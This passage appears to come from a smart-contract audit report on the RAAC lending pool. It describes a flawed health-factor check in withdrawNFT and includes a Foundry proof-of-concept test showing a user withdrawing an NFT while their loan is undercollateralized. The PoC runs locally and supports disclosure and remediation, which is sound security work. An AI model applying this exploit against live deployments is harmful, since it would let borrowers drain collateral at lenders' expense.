The check is mathematically incorrect because it compares the raw collateral value minus the NFT against the adjusted debt value (debt
* liquidationThreshold
). Instead, it should compare the adjusted remaining collateral value against the raw debt.
This can allow users to withdraw NFTs even when their positions are liquidatable/unhealthy. (Shown in the PoC below)
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract LendingPoolTest is Test {
using WadRayMath for uint256;
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
users[0] = user1;
users[1] = user2;
users[2] = user3;
vm.warp(1738798039);
vm.roll(100);
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000e18);
_depositCrvUsdIntoLendingPoolForAllUsers(100e18);
}
function test_userCanWithdrawNFT_withUndercolateralizedPosition() public {
_setupHousePrice(100e18, 1);
_setupHousePrice(20e18, 2);
vm.startPrank(user1);
_mintAndDepositNftInLendingPool(1, 100e18);
_mintAndDepositNftInLendingPool(2, 20e18);
_borrowCrvUsdTokenFromLendingPool(95e18);
vm.stopPrank();
_advanceInTimeAndAccrueInterestInLendingPool(35 days);
_setupHousePrice(80e18, 1);
uint256 userUnhealthyPosition = lendingPool.calculateHealthFactor(user1);
assertLt(userUnhealthyPosition, 1e18, "position is healthy");
console.log("liquidationThreshold: %e", lendingPool.liquidationThreshold());
console.log("User collateral value: %e", lendingPool.getUserCollateralValue(user1));
console.log("user1 debt: %e", lendingPool.getUserDebt(user1));
console.log("User will withdraw one of the NFTs while in unhealthy position");
vm.prank(user1);
lendingPool.withdrawNFT(2);
console.log("User has withdrawn NFT");
assertEq(raacNFT.ownerOf(2), user1, "user is not the owner of NFT 2");
uint256 userUnhealthyPositionAfterWithdraw = lendingPool.calculateHealthFactor(user1);
assertLt(userUnhealthyPositionAfterWithdraw, userUnhealthyPosition);
}
function _deployAndSetupContracts() internal {
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
0.8e27
);
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423),
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSD),
address(lendingPool)
);
deal(address(crvUSD), address(stabilityPool), 100_000e18);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
vm.prank(owner);
crvUSD.mint(users[i], initialBalance);
vm.startPrank(users[i]);
crvUSD.approve(address(raacNFT), initialBalance);
crvUSD.approve(address(lendingPool), initialBalance);
rToken.approve(address(stabilityPool), initialBalance);
vm.stopPrank();
}
}
function _depositCrvUsdIntoLendingPoolForAllUsers(uint256 initialDeposit) internal {
for (uint i = 0; i < users.length; i++) {
vm.prank(users[i]);
lendingPool.deposit(initialDeposit);
}
}
function _mintNFTwithTokenId(uint256 tokenId, uint256 housePrice) internal {
raacNFT.mint(tokenId, housePrice);
raacNFT.approve(address(lendingPool), tokenId);
}
function _setupHousePrices(uint256 housePrice) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(1, housePrice);
raacHousePrices.setHousePrice(2, housePrice);
raacHousePrices.setHousePrice(3, housePrice);
vm.stopPrank();
}
function _setupHousePrice(uint256 housePrice, uint256 newValue) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(newValue, housePrice);
vm.stopPrank();
}
function _mintAndDepositNftInLendingPool(uint256 tokenId, uint256 housePrice) internal {
_mintNFTwithTokenId(tokenId, housePrice);
lendingPool.depositNFT(tokenId);
}
function _borrowCrvUsdTokenFromLendingPool(uint256 amount) internal {
lendingPool.borrow(amount);
}
function _advanceInTimeAndAccrueInterestInLendingPool(uint256 time) internal {
uint256 usageIndex = lendingPool.getNormalizedDebt();
console.log("Usage Index before advance in time: %e", usageIndex);
_advanceInTime(time);
lendingPool.updateState();
usageIndex = lendingPool.getNormalizedDebt();
console.log("Usage Index after advance in time time: %e", usageIndex);
}
function _advanceInTime(uint256 time) internal {
vm.warp(block.timestamp + time);
vm.roll(block.number + 10000);
}
}
This ensures that the remaining collateral value after withdrawal, adjusted by the liquidation threshold, must be greater than the outstanding debt.